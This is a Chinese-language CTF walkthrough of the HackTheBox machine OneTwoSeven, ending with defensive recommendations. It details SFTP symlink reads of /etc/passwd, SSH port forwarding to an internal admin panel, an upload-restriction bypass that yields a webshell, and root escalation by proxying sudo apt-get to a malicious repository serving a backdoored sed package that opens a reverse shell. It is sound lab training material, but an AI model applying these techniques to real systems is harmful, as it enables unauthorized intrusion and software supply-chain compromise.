渗透测试 | HTB-OneTwoSeven实战
字数 1452 2025-08-18 11:39:30
HTB-OneTwoSeven渗透测试实战教学文档
1. 环境准备与初始侦察
1.1 环境配置
- 攻击机:Kali Linux
- VPN连接:OpenVPN
- 攻击机IP:10.10.14.37
- 靶机IP:10.10.10.133
1.2 端口扫描
使用Nmap扫描结果:
- 开放端口:22(SSH)、80(HTTP)
- 服务信息:Apache + Linux系统
2. Web应用信息收集
2.1 初始发现
- 主页面302跳转到index.php
- 查看源代码发现关键信息:
Only enable link if access from trusted networks admin/20190212 Added localhost admin/20190214 <li><a id="adminlink" class="nav-link disabled" href="http://onetwoseven.htb:60080/">Admin</a></li>
2.2 页面分析
- 发现其他页面:stats.php和signup.php
- 通过signup.php注册获得:
- 用户名:ots-hYWQ0MmI
- 密码:deaad42b
- 特殊URL:http://onetwoseven.htb/~ots-hYWQ0MmI
- SFTP链接:sftp://onetwoseven.htb
3. SFTP利用
3.1 SFTP登录
- 使用注册获得的凭据成功登录
- 可访问目录:public_html
- 可执行操作:上传/下载文件
3.2 软链接利用
-
使用
ln -s创建符号链接:sftp> ln -s /var/www/html/index.php -
通过符号链接读取敏感文件:
- 成功读取index.php源码
- 发现用户名密码生成逻辑:
// 用户名和密码基于IP地址生成
-
读取/etc/passwd:
sftp> ln -s /etc/passwd- 发现本地用户:ots-yODc2NGQ
-
生成127.0.0.1对应的凭据:
- 用户名:ots-yODc2NGQ
- 密码:f528764d
4. 端口转发与内部服务访问
4.1 SSH端口转发
ssh -L 60080:127.0.0.1:60080 -Nf ots-yODc2NGQ@10.10.10.133
4.2 访问内部管理界面
- URL:http://localhost:60080
- 使用凭据登录:
- 用户名:ots-admin
- 密码:Homesweethome1
4.3 文件上传漏洞利用
-
发现上传点:addon-upload.php
-
上传Webshell(weevely)失败
-
分析源码发现:
- 功能通过ots-man-addon.php实现
- 通过.htaccess重写URL
-
构造请求绕过限制:
GET /ots-man-addon.php?addon=addons/ots-fs-backup.php HTTP/1.1 -
成功获取Webshell访问权限
5. 权限提升
5.1 检查sudo权限
sudo -l
输出:
(root) NOPASSWD: /usr/bin/apt-get update
(root) NOPASSWD: /usr/bin/apt-get upgrade
5.2 APT中间人攻击准备
- 发现自定义源:packages.onetwoseven.htb
- 设置代理:
export http_proxy="http://10.10.15.101:6666" - 使用proxy.py搭建代理服务器
5.3 构造恶意deb包
- 选择目标包:sed
- 修改control文件提高版本号
- 编辑postinst文件添加后门命令
- 重新打包:
dpkg-deb --build sed
5.4 创建恶意软件仓库
- 生成Packages文件:
dpkg-scanpackages debs/ > Packages - 设置Apache服务提供下载
5.5 执行攻击
- 在靶机上执行:
sudo /usr/bin/apt-get update sudo /usr/bin/apt-get upgrade - 由于连接不稳定,可能需要多次尝试
5.6 获取root权限
- 恶意包安装时执行后门命令
- 建立反向连接获取root shell
- 读取flag:2d380a25a8e3bfc095abd9e691841048
6. 关键知识点总结
- SFTP符号链接利用:通过创建符号链接读取系统敏感文件
- 端口转发技术:SSH本地端口转发访问受限内部服务
- Web应用逻辑漏洞:通过分析源码发现认证机制缺陷
- APT中间人攻击:利用sudo权限配置不当进行软件包注入
- 恶意deb包构造:修改标准软件包嵌入后门命令
- 连接稳定性问题:多层代理环境下需要耐心多次尝试
7. 防御建议
- 限制SFTP用户的符号链接创建权限
- 加强Web应用的身份验证机制
- 避免在sudo配置中使用NOPASSWD选项
- 使用HTTPS保护软件仓库通信
- 实施软件包签名验证机制
- 监控异常的网络连接和软件更新行为